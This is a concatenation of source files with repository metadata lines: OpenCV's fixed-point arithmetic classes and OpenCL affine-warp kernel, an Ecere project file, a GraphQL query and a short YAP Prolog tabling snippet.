typedef fixedpoint64 WT;
typedef int32_t raw_t;
CV_ALWAYS_INLINE fixedpoint32() { val = 0; }
CV_ALWAYS_INLINE fixedpoint32(const fixedpoint32& v) { val = v.val; }
CV_ALWAYS_INLINE fixedpoint32(const int8_t& _val) { val = ((int32_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint32(const uint8_t& _val) { val = ((int32_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint32(const int16_t& _val) { val = ((int32_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint32(const cv::softdouble& _val) { val = (int32_t)cvRound(_val * cv::softdouble((1 << fixedShift))); }
CV_ALWAYS_INLINE fixedpoint32& operator = (const int8_t& _val) { val = ((int32_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint32& operator = (const uint8_t& _val) { val = ((int32_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint32& operator = (const int16_t& _val) { val = ((int32_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint32& operator = (const cv::softdouble& _val) { val = (int32_t)cvRound(_val * cv::softdouble((1 << fixedShift))); return *this; }
CV_ALWAYS_INLINE fixedpoint32& operator = (const fixedpoint32& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE fixedpoint32 operator * (const int8_t& val2) const { return cv::saturate_cast<int32_t>((int64_t)val * val2); }
CV_ALWAYS_INLINE fixedpoint32 operator * (const uint8_t& val2) const { return cv::saturate_cast<int32_t>((int64_t)val * val2); }
CV_ALWAYS_INLINE fixedpoint32 operator * (const int16_t& val2) const { return cv::saturate_cast<int32_t>((int64_t)val * val2); }
CV_ALWAYS_INLINE fixedpoint64 operator * (const fixedpoint32& val2) const { return (int64_t)val * (int64_t)(val2.val); }
CV_ALWAYS_INLINE fixedpoint32 operator + (const fixedpoint32& val2) const
{
int32_t res = val + val2.val;
return (int64_t)((val ^ res) & (val2.val ^ res)) >> 31 ? ~(res & ~0x7FFFFFFF) : res;
}
CV_ALWAYS_INLINE fixedpoint32 operator - (const fixedpoint32& val2) const
{
int32_t res = val - val2.val;
return (int64_t)((val ^ val2.val) & (val ^ res)) >> 31 ? ~(res & ~0x7FFFFFFF) : res;
}
CV_ALWAYS_INLINE fixedpoint32 operator >> (int n) const { return fixedpoint32(val >> n); }
CV_ALWAYS_INLINE fixedpoint32 operator << (int n) const { return fixedpoint32(val << n); }
CV_ALWAYS_INLINE bool operator == (const fixedpoint32& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>((int32_t)fixedround((uint32_t)val) >> fixedShift); }
CV_ALWAYS_INLINE operator fixedpoint64() const { return (int64_t)val << (fixedpoint64::fixedShift - fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE fixedpoint32 zero() { return fixedpoint32(); }
static CV_ALWAYS_INLINE fixedpoint32 one() { return fixedpoint32((1 << fixedShift)); }
friend class fixedpoint16;
};
class ufixedpoint32
{
private:
uint32_t val;
ufixedpoint32(uint32_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint32_t fixedround(const uint32_t& _val) { return (_val + ((1 << fixedShift) >> 1)); }
public:
static const int fixedShift = 16;
typedef ufixedpoint64 WT;
typedef uint32_t raw_t;
CV_ALWAYS_INLINE ufixedpoint32() { val = 0; }
CV_ALWAYS_INLINE ufixedpoint32(const ufixedpoint32& v) { val = v.val; }
CV_ALWAYS_INLINE ufixedpoint32(const uint8_t& _val) { val = ((uint32_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint32(const uint16_t& _val) { val = ((uint32_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint32(const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint32_t)cvRound(_val * cv::softdouble((1 << fixedShift))); }
CV_ALWAYS_INLINE ufixedpoint32& operator = (const uint8_t& _val) { val = ((uint32_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint32& operator = (const uint16_t& _val) { val = ((uint32_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint32& operator = (const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint32_t)cvRound(_val * cv::softdouble((1 << fixedShift))); return *this; }
CV_ALWAYS_INLINE ufixedpoint32& operator = (const ufixedpoint32& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE ufixedpoint32 operator * (const uint8_t& val2) const { return cv::saturate_cast<uint32_t>((uint64_t)val * val2); }
CV_ALWAYS_INLINE ufixedpoint32 operator * (const uint16_t& val2) const { return cv::saturate_cast<uint32_t>((uint64_t)val * val2); }
CV_ALWAYS_INLINE ufixedpoint64 operator * (const ufixedpoint32& val2) const { return (uint64_t)val * (uint64_t)(val2.val); }
CV_ALWAYS_INLINE ufixedpoint32 operator + (const ufixedpoint32& val2) const
{
uint32_t res = val + val2.val;
return (val > res) ? 0xFFFFFFFF : res;
}
CV_ALWAYS_INLINE ufixedpoint32 operator - (const ufixedpoint32& val2) const
{
return val > val2.val ? (val - val2.val) : 0;
}
CV_ALWAYS_INLINE ufixedpoint32 operator >> (int n) const { return ufixedpoint32(val >> n); }
CV_ALWAYS_INLINE ufixedpoint32 operator << (int n) const { return ufixedpoint32(val << n); }
CV_ALWAYS_INLINE bool operator == (const ufixedpoint32& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>(fixedround(val) >> fixedShift); }
CV_ALWAYS_INLINE operator ufixedpoint64() const { return (uint64_t)val << (ufixedpoint64::fixedShift - fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE ufixedpoint32 zero() { return ufixedpoint32(); }
static CV_ALWAYS_INLINE ufixedpoint32 one() { return ufixedpoint32((1U << fixedShift)); }
static CV_ALWAYS_INLINE ufixedpoint32 fromRaw(uint32_t v) { return ufixedpoint32(v); }
CV_ALWAYS_INLINE uint32_t raw() { return val; }
friend class ufixedpoint16;
};
class fixedpoint16
{
private:
int16_t val;
fixedpoint16(int16_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint16_t fixedround(const uint16_t& _val) { return (_val + ((1 << fixedShift) >> 1)); }
public:
static const int fixedShift = 8;
typedef fixedpoint32 WT;
typedef int16_t raw_t;
CV_ALWAYS_INLINE fixedpoint16() { val = 0; }
CV_ALWAYS_INLINE fixedpoint16(const fixedpoint16& v) { val = v.val; }
CV_ALWAYS_INLINE fixedpoint16(const int8_t& _val) { val = ((int16_t)_val) << fixedShift; }
CV_ALWAYS_INLINE fixedpoint16(const cv::softdouble& _val) { val = (int16_t)cvRound(_val * cv::softdouble((1 << fixedShift))); }
CV_ALWAYS_INLINE fixedpoint16& operator = (const int8_t& _val) { val = ((int16_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE fixedpoint16& operator = (const cv::softdouble& _val) { val = (int16_t)cvRound(_val * cv::softdouble((1 << fixedShift))); return *this; }
CV_ALWAYS_INLINE fixedpoint16& operator = (const fixedpoint16& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE fixedpoint16 operator * (const int8_t& val2) const { return cv::saturate_cast<int16_t>((int32_t)val * val2); }
CV_ALWAYS_INLINE fixedpoint32 operator * (const fixedpoint16& val2) const { return (int32_t)val * (int32_t)(val2.val); }
CV_ALWAYS_INLINE fixedpoint16 operator + (const fixedpoint16& val2) const
{
int16_t res = val + val2.val;
return ((val ^ res) & (val2.val ^ res)) >> 15 ? (int16_t)(~(res & ~0x7FFF)) : res;
}
CV_ALWAYS_INLINE fixedpoint16 operator - (const fixedpoint16& val2) const
{
int16_t res = val - val2.val;
return ((val ^ val2.val) & (val ^ res)) >> 15 ? (int16_t)(~(res & ~(int16_t)0x7FFF)) : res;
}
CV_ALWAYS_INLINE fixedpoint16 operator >> (int n) const { return fixedpoint16((int16_t)(val >> n)); }
CV_ALWAYS_INLINE fixedpoint16 operator << (int n) const { return fixedpoint16((int16_t)(val << n)); }
CV_ALWAYS_INLINE bool operator == (const fixedpoint16& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>((int16_t)fixedround((uint16_t)val) >> fixedShift); }
CV_ALWAYS_INLINE operator fixedpoint32() const { return (int32_t)val << (fixedpoint32::fixedShift - fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE fixedpoint16 zero() { return fixedpoint16(); }
static CV_ALWAYS_INLINE fixedpoint16 one() { return fixedpoint16((int16_t)(1 << fixedShift)); }
};
class ufixedpoint16
{
private:
uint16_t val;
ufixedpoint16(uint16_t _val) : val(_val) {}
static CV_ALWAYS_INLINE uint16_t fixedround(const uint16_t& _val) { return (_val + ((1 << fixedShift) >> 1)); }
public:
static const int fixedShift = 8;
typedef ufixedpoint32 WT;
typedef uint16_t raw_t;
CV_ALWAYS_INLINE ufixedpoint16() { val = 0; }
CV_ALWAYS_INLINE ufixedpoint16(const ufixedpoint16& v) { val = v.val; }
CV_ALWAYS_INLINE ufixedpoint16(const uint8_t& _val) { val = ((uint16_t)_val) << fixedShift; }
CV_ALWAYS_INLINE ufixedpoint16(const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint16_t)cvRound(_val * cv::softdouble((int32_t)(1 << fixedShift))); }
CV_ALWAYS_INLINE ufixedpoint16& operator = (const uint8_t& _val) { val = ((uint16_t)_val) << fixedShift; return *this; }
CV_ALWAYS_INLINE ufixedpoint16& operator = (const cv::softdouble& _val) { val = _val.getSign() ? 0 : (uint16_t)cvRound(_val * cv::softdouble((int32_t)(1 << fixedShift))); return *this; }
CV_ALWAYS_INLINE ufixedpoint16& operator = (const ufixedpoint16& _val) { val = _val.val; return *this; }
CV_ALWAYS_INLINE ufixedpoint16 operator * (const uint8_t& val2) const { return cv::saturate_cast<uint16_t>((uint32_t)val * val2); }
CV_ALWAYS_INLINE ufixedpoint32 operator * (const ufixedpoint16& val2) const { return ((uint32_t)val * (uint32_t)(val2.val)); }
CV_ALWAYS_INLINE ufixedpoint16 operator + (const ufixedpoint16& val2) const
{
uint16_t res = val + val2.val;
return (val > res) ? (uint16_t)0xFFFF : res;
}
CV_ALWAYS_INLINE ufixedpoint16 operator - (const ufixedpoint16& val2) const
{
return val > val2.val ? (uint16_t)(val - val2.val) : (uint16_t)0;
}
CV_ALWAYS_INLINE ufixedpoint16 operator >> (int n) const { return ufixedpoint16((uint16_t)(val >> n)); }
CV_ALWAYS_INLINE ufixedpoint16 operator << (int n) const { return ufixedpoint16((uint16_t)(val << n)); }
CV_ALWAYS_INLINE bool operator == (const ufixedpoint16& val2) const { return val == val2.val; }
template <typename ET>
CV_ALWAYS_INLINE ET saturate_cast() const { return cv::saturate_cast<ET>(fixedround(val) >> fixedShift); }
CV_ALWAYS_INLINE operator ufixedpoint32() const { return (uint32_t)val << (ufixedpoint32::fixedShift - fixedShift); }
CV_ALWAYS_INLINE operator double() const { return (double)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator float() const { return (float)val / (1 << fixedShift); }
CV_ALWAYS_INLINE operator uint8_t() const { return saturate_cast<uint8_t>(); }
CV_ALWAYS_INLINE operator int8_t() const { return saturate_cast<int8_t>(); }
CV_ALWAYS_INLINE operator uint16_t() const { return saturate_cast<uint16_t>(); }
CV_ALWAYS_INLINE operator int16_t() const { return saturate_cast<int16_t>(); }
CV_ALWAYS_INLINE operator int32_t() const { return saturate_cast<int32_t>(); }
CV_ALWAYS_INLINE bool isZero() { return val == 0; }
static CV_ALWAYS_INLINE ufixedpoint16 zero() { return ufixedpoint16(); }
static CV_ALWAYS_INLINE ufixedpoint16 one() { return ufixedpoint16((uint16_t)(1 << fixedShift)); }
static CV_ALWAYS_INLINE ufixedpoint16 fromRaw(uint16_t v) { return ufixedpoint16(v); }
CV_ALWAYS_INLINE uint16_t raw() { return val; }
};
}
#endif
| C++ | 4 | lefatoum2/opencv | modules/imgproc/src/fixedpoint.inl.hpp | [
"Apache-2.0"
] |
{
"Version" : 0.2,
"ModuleName" : "Animate3DS",
"Options" : {
"TargetFileName" : "Animate3DS",
"Libraries" : [
"ecere"
]
},
"Configurations" : [
{
"Name" : "Debug",
"Options" : {
"Debug" : true,
"FastMath" : false
}
}
],
"Files" : [
"Animate3DS.ec"
],
"ResourcesPath" : "res",
"Resources" : [
"desktop.3ds",
"floor.jpg",
"wall_80.jpg"
]
}
| Ecere Projects | 1 | N-eil/ecere-sdk | samples/3D/Animate3DS/Animate3DS.epj | [
"BSD-3-Clause"
] |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2010-2012, Institute Of Software Chinese Academy Of Science, all rights reserved.
// Copyright (C) 2010-2012, Advanced Micro Devices, Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// @Authors
// Zhang Ying, zhangying913@gmail.com
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors as is and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#ifdef DOUBLE_SUPPORT
#ifdef cl_amd_fp64
#pragma OPENCL EXTENSION cl_amd_fp64:enable
#elif defined (cl_khr_fp64)
#pragma OPENCL EXTENSION cl_khr_fp64:enable
#endif
#endif
#define INTER_BITS 5
#define INTER_TAB_SIZE (1 << INTER_BITS)
#define INTER_SCALE 1.f/INTER_TAB_SIZE
#define AB_BITS max(10, (int)INTER_BITS)
#define AB_SCALE (1 << AB_BITS)
#define INTER_REMAP_COEF_BITS 15
#define INTER_REMAP_COEF_SCALE (1 << INTER_REMAP_COEF_BITS)
#define ROUND_DELTA (1 << (AB_BITS - INTER_BITS - 1))
#define noconvert
#ifndef ST
#define ST T
#endif
#if cn != 3
#define loadpix(addr) *(__global const T*)(addr)
#define storepix(val, addr) *(__global T*)(addr) = val
#define scalar scalar_
#define pixsize (int)sizeof(T)
#else
#define loadpix(addr) vload3(0, (__global const T1*)(addr))
#define storepix(val, addr) vstore3(val, 0, (__global T1*)(addr))
#ifdef INTER_NEAREST
#define scalar (T)(scalar_.x, scalar_.y, scalar_.z)
#else
#define scalar (WT)(scalar_.x, scalar_.y, scalar_.z)
#endif
#define pixsize ((int)sizeof(T1)*3)
#endif
#ifdef INTER_NEAREST
__kernel void warpAffine(__global const uchar * srcptr, int src_step, int src_offset, int src_rows, int src_cols,
__global uchar * dstptr, int dst_step, int dst_offset, int dst_rows, int dst_cols,
__constant CT * M, ST scalar_)
{
int dx = get_global_id(0);
int dy0 = get_global_id(1) * rowsPerWI;
if (dx < dst_cols)
{
int round_delta = (AB_SCALE >> 1);
int X0_ = rint(M[0] * dx * AB_SCALE);
int Y0_ = rint(M[3] * dx * AB_SCALE);
int dst_index = mad24(dy0, dst_step, mad24(dx, pixsize, dst_offset));
for (int dy = dy0, dy1 = min(dst_rows, dy0 + rowsPerWI); dy < dy1; ++dy, dst_index += dst_step)
{
int X0 = X0_ + rint(fma(M[1], (CT)dy, M[2]) * AB_SCALE) + round_delta;
int Y0 = Y0_ + rint(fma(M[4], (CT)dy, M[5]) * AB_SCALE) + round_delta;
short sx = convert_short_sat(X0 >> AB_BITS);
short sy = convert_short_sat(Y0 >> AB_BITS);
if (sx >= 0 && sx < src_cols && sy >= 0 && sy < src_rows)
{
int src_index = mad24(sy, src_step, mad24(sx, pixsize, src_offset));
storepix(loadpix(srcptr + src_index), dstptr + dst_index);
}
else
storepix(scalar, dstptr + dst_index);
}
}
}
#elif defined INTER_LINEAR
__constant float coeffs[64] =
{ 1.000000f, 0.000000f, 0.968750f, 0.031250f, 0.937500f, 0.062500f, 0.906250f, 0.093750f, 0.875000f, 0.125000f, 0.843750f, 0.156250f,
0.812500f, 0.187500f, 0.781250f, 0.218750f, 0.750000f, 0.250000f, 0.718750f, 0.281250f, 0.687500f, 0.312500f, 0.656250f, 0.343750f,
0.625000f, 0.375000f, 0.593750f, 0.406250f, 0.562500f, 0.437500f, 0.531250f, 0.468750f, 0.500000f, 0.500000f, 0.468750f, 0.531250f,
0.437500f, 0.562500f, 0.406250f, 0.593750f, 0.375000f, 0.625000f, 0.343750f, 0.656250f, 0.312500f, 0.687500f, 0.281250f, 0.718750f,
0.250000f, 0.750000f, 0.218750f, 0.781250f, 0.187500f, 0.812500f, 0.156250f, 0.843750f, 0.125000f, 0.875000f, 0.093750f, 0.906250f,
0.062500f, 0.937500f, 0.031250f, 0.968750f };
__kernel void warpAffine(__global const uchar * srcptr, int src_step, int src_offset, int src_rows, int src_cols,
__global uchar * dstptr, int dst_step, int dst_offset, int dst_rows, int dst_cols,
__constant CT * M, ST scalar_)
{
int dx = get_global_id(0);
int dy0 = get_global_id(1) * rowsPerWI;
if (dx < dst_cols)
{
int tmp = dx << AB_BITS;
int X0_ = rint(M[0] * tmp);
int Y0_ = rint(M[3] * tmp);
for (int dy = dy0, dy1 = min(dst_rows, dy0 + rowsPerWI); dy < dy1; ++dy)
{
int X0 = X0_ + rint(fma(M[1], (CT)dy, M[2]) * AB_SCALE) + ROUND_DELTA;
int Y0 = Y0_ + rint(fma(M[4], (CT)dy, M[5]) * AB_SCALE) + ROUND_DELTA;
X0 = X0 >> (AB_BITS - INTER_BITS);
Y0 = Y0 >> (AB_BITS - INTER_BITS);
short sx = convert_short_sat(X0 >> INTER_BITS), sy = convert_short_sat(Y0 >> INTER_BITS);
short ax = convert_short(X0 & (INTER_TAB_SIZE-1)), ay = convert_short(Y0 & (INTER_TAB_SIZE-1));
#if defined AMD_DEVICE || depth > 4
WT v0 = scalar, v1 = scalar, v2 = scalar, v3 = scalar;
if (sx >= 0 && sx < src_cols)
{
if (sy >= 0 && sy < src_rows)
v0 = convertToWT(loadpix(srcptr + mad24(sy, src_step, mad24(sx, pixsize, src_offset))));
if (sy+1 >= 0 && sy+1 < src_rows)
v2 = convertToWT(loadpix(srcptr + mad24(sy+1, src_step, mad24(sx, pixsize, src_offset))));
}
if (sx+1 >= 0 && sx+1 < src_cols)
{
if (sy >= 0 && sy < src_rows)
v1 = convertToWT(loadpix(srcptr + mad24(sy, src_step, mad24(sx+1, pixsize, src_offset))));
if (sy+1 >= 0 && sy+1 < src_rows)
v3 = convertToWT(loadpix(srcptr + mad24(sy+1, src_step, mad24(sx+1, pixsize, src_offset))));
}
float taby = 1.f/INTER_TAB_SIZE*ay;
float tabx = 1.f/INTER_TAB_SIZE*ax;
int dst_index = mad24(dy, dst_step, mad24(dx, pixsize, dst_offset));
#if depth <= 4
int itab0 = convert_short_sat_rte( (1.0f-taby)*(1.0f-tabx) * INTER_REMAP_COEF_SCALE );
int itab1 = convert_short_sat_rte( (1.0f-taby)*tabx * INTER_REMAP_COEF_SCALE );
int itab2 = convert_short_sat_rte( taby*(1.0f-tabx) * INTER_REMAP_COEF_SCALE );
int itab3 = convert_short_sat_rte( taby*tabx * INTER_REMAP_COEF_SCALE );
WT val = mad24(v0, itab0, mad24(v1, itab1, mad24(v2, itab2, v3 * itab3)));
storepix(convertToT((val + (1 << (INTER_REMAP_COEF_BITS-1))) >> INTER_REMAP_COEF_BITS), dstptr + dst_index);
#else
float tabx2 = 1.0f - tabx, taby2 = 1.0f - taby;
WT val = fma(tabx2, fma(v0, taby2, v2 * taby), tabx * fma(v1, taby2, v3 * taby));
storepix(convertToT(val), dstptr + dst_index);
#endif
#else // INTEL_DEVICE
__constant float * coeffs_y = coeffs + (ay << 1), * coeffs_x = coeffs + (ax << 1);
int src_index0 = mad24(sy, src_step, mad24(sx, pixsize, src_offset)), src_index;
int dst_index = mad24(dy, dst_step, mad24(dx, pixsize, dst_offset));
WT sum = (WT)(0), xsum;
#pragma unroll
for (int y = 0; y < 2; y++)
{
src_index = mad24(y, src_step, src_index0);
if (sy + y >= 0 && sy + y < src_rows)
{
xsum = (WT)(0);
if (sx >= 0 && sx + 2 < src_cols)
{
#if depth == 0 && cn == 1
uchar2 value = vload2(0, srcptr + src_index);
xsum = dot(convert_float2(value), (float2)(coeffs_x[0], coeffs_x[1]));
#else
#pragma unroll
for (int x = 0; x < 2; x++)
xsum = fma(convertToWT(loadpix(srcptr + mad24(x, pixsize, src_index))), coeffs_x[x], xsum);
#endif
}
else
{
#pragma unroll
for (int x = 0; x < 2; x++)
xsum = fma(sx + x >= 0 && sx + x < src_cols ?
convertToWT(loadpix(srcptr + mad24(x, pixsize, src_index))) : scalar, coeffs_x[x], xsum);
}
sum = fma(xsum, coeffs_y[y], sum);
}
else
sum = fma(scalar, coeffs_y[y], sum);
}
storepix(convertToT(sum), dstptr + dst_index);
#endif
}
}
}
#elif defined INTER_CUBIC
#ifdef AMD_DEVICE
inline void interpolateCubic( float x, float* coeffs )
{
const float A = -0.75f;
coeffs[0] = fma(fma(fma(A, (x + 1.f), - 5.0f*A), (x + 1.f), 8.0f*A), x + 1.f, - 4.0f*A);
coeffs[1] = fma(fma(A + 2.f, x, - (A + 3.f)), x*x, 1.f);
coeffs[2] = fma(fma(A + 2.f, 1.f - x, - (A + 3.f)), (1.f - x)*(1.f - x), 1.f);
coeffs[3] = 1.f - coeffs[0] - coeffs[1] - coeffs[2];
}
#else
__constant float coeffs[128] =
{ 0.000000f, 1.000000f, 0.000000f, 0.000000f, -0.021996f, 0.997841f, 0.024864f, -0.000710f, -0.041199f, 0.991516f, 0.052429f, -0.002747f,
-0.057747f, 0.981255f, 0.082466f, -0.005974f, -0.071777f, 0.967285f, 0.114746f, -0.010254f, -0.083427f, 0.949837f, 0.149040f, -0.015450f,
-0.092834f, 0.929138f, 0.185120f, -0.021423f, -0.100136f, 0.905418f, 0.222755f, -0.028038f, -0.105469f, 0.878906f, 0.261719f, -0.035156f,
-0.108971f, 0.849831f, 0.301781f, -0.042641f, -0.110779f, 0.818420f, 0.342712f, -0.050354f, -0.111031f, 0.784904f, 0.384285f, -0.058159f,
-0.109863f, 0.749512f, 0.426270f, -0.065918f, -0.107414f, 0.712471f, 0.468437f, -0.073494f, -0.103821f, 0.674011f, 0.510559f, -0.080750f,
-0.099220f, 0.634361f, 0.552406f, -0.087547f, -0.093750f, 0.593750f, 0.593750f, -0.093750f, -0.087547f, 0.552406f, 0.634361f, -0.099220f,
-0.080750f, 0.510559f, 0.674011f, -0.103821f, -0.073494f, 0.468437f, 0.712471f, -0.107414f, -0.065918f, 0.426270f, 0.749512f, -0.109863f,
-0.058159f, 0.384285f, 0.784904f, -0.111031f, -0.050354f, 0.342712f, 0.818420f, -0.110779f, -0.042641f, 0.301781f, 0.849831f, -0.108971f,
-0.035156f, 0.261719f, 0.878906f, -0.105469f, -0.028038f, 0.222755f, 0.905418f, -0.100136f, -0.021423f, 0.185120f, 0.929138f, -0.092834f,
-0.015450f, 0.149040f, 0.949837f, -0.083427f, -0.010254f, 0.114746f, 0.967285f, -0.071777f, -0.005974f, 0.082466f, 0.981255f, -0.057747f,
-0.002747f, 0.052429f, 0.991516f, -0.041199f, -0.000710f, 0.024864f, 0.997841f, -0.021996f };
#endif
__kernel void warpAffine(__global const uchar * srcptr, int src_step, int src_offset, int src_rows, int src_cols,
__global uchar * dstptr, int dst_step, int dst_offset, int dst_rows, int dst_cols,
__constant CT * M, ST scalar_)
{
int dx = get_global_id(0);
int dy = get_global_id(1);
if (dx < dst_cols && dy < dst_rows)
{
int tmp = (dx << AB_BITS);
int X0 = rint(M[0] * tmp) + rint(fma(M[1], (CT)dy, M[2]) * AB_SCALE) + ROUND_DELTA;
int Y0 = rint(M[3] * tmp) + rint(fma(M[4], (CT)dy, M[5]) * AB_SCALE) + ROUND_DELTA;
X0 = X0 >> (AB_BITS - INTER_BITS);
Y0 = Y0 >> (AB_BITS - INTER_BITS);
int sx = (short)(X0 >> INTER_BITS) - 1, sy = (short)(Y0 >> INTER_BITS) - 1;
int ay = (short)(Y0 & (INTER_TAB_SIZE - 1)), ax = (short)(X0 & (INTER_TAB_SIZE - 1));
#ifdef AMD_DEVICE
WT v[16];
#pragma unroll
for (int y = 0; y < 4; y++)
{
if (sy+y >= 0 && sy+y < src_rows)
{
#pragma unroll
for (int x = 0; x < 4; x++)
v[mad24(y, 4, x)] = sx+x >= 0 && sx+x < src_cols ?
convertToWT(loadpix(srcptr + mad24(sy+y, src_step, mad24(sx+x, pixsize, src_offset)))) : scalar;
}
else
{
#pragma unroll
for (int x = 0; x < 4; x++)
v[mad24(y, 4, x)] = scalar;
}
}
float tab1y[4], tab1x[4];
float ayy = INTER_SCALE * ay;
float axx = INTER_SCALE * ax;
interpolateCubic(ayy, tab1y);
interpolateCubic(axx, tab1x);
int dst_index = mad24(dy, dst_step, mad24(dx, pixsize, dst_offset));
WT sum = (WT)(0);
#if depth <= 4
int itab[16];
#pragma unroll
for (int i = 0; i < 16; i++)
itab[i] = rint(tab1y[(i>>2)] * tab1x[(i&3)] * INTER_REMAP_COEF_SCALE);
#pragma unroll
for (int i = 0; i < 16; i++)
sum = mad24(v[i], itab[i], sum);
storepix(convertToT( (sum + (1 << (INTER_REMAP_COEF_BITS-1))) >> INTER_REMAP_COEF_BITS ), dstptr + dst_index);
#else
#pragma unroll
for (int i = 0; i < 16; i++)
sum = fma(v[i], tab1y[(i>>2)] * tab1x[(i&3)], sum);
storepix(convertToT( sum ), dstptr + dst_index);
#endif
#else // INTEL_DEVICE
__constant float * coeffs_y = coeffs + (ay << 2), * coeffs_x = coeffs + (ax << 2);
int src_index0 = mad24(sy, src_step, mad24(sx, pixsize, src_offset)), src_index;
int dst_index = mad24(dy, dst_step, mad24(dx, pixsize, dst_offset));
WT sum = (WT)(0), xsum;
#pragma unroll
for (int y = 0; y < 4; y++)
{
src_index = mad24(y, src_step, src_index0);
if (sy + y >= 0 && sy + y < src_rows)
{
xsum = (WT)(0);
if (sx >= 0 && sx + 4 < src_cols)
{
#if depth == 0 && cn == 1
uchar4 value = vload4(0, srcptr + src_index);
xsum = dot(convert_float4(value), (float4)(coeffs_x[0], coeffs_x[1], coeffs_x[2], coeffs_x[3]));
#else
#pragma unroll
for (int x = 0; x < 4; x++)
xsum = fma(convertToWT(loadpix(srcptr + mad24(x, pixsize, src_index))), coeffs_x[x], xsum);
#endif
}
else
{
#pragma unroll
for (int x = 0; x < 4; x++)
xsum = fma(sx + x >= 0 && sx + x < src_cols ?
convertToWT(loadpix(srcptr + mad24(x, pixsize, src_index))) : scalar, coeffs_x[x], xsum);
}
sum = fma(xsum, coeffs_y[y], sum);
}
else
sum = fma(scalar, coeffs_y[y], sum);
}
storepix(convertToT(sum), dstptr + dst_index);
#endif
}
}
#endif
| OpenCL | 4 | thisisgopalmandal/opencv | modules/imgproc/src/opencl/warp_affine.cl | [
"BSD-3-Clause"
] |
# import './other.graphql'
{
user(id: 6) {
...UserFragment
...AnotherUserFragment
}
} | GraphQL | 3 | johanberonius/parcel | packages/core/integration-tests/test/integration/graphql-import/local.graphql | [
"MIT"
] |
:- initialization(yap_flag(tabling_mode, load_answers)).
% Required to activate rational term support within the table space.
/*
ICLP2014 submission - instack/2
*/
instack(E, [H|T]) :- E == H.
instack(E, [_H|T]) :- instack(E, T).
/*
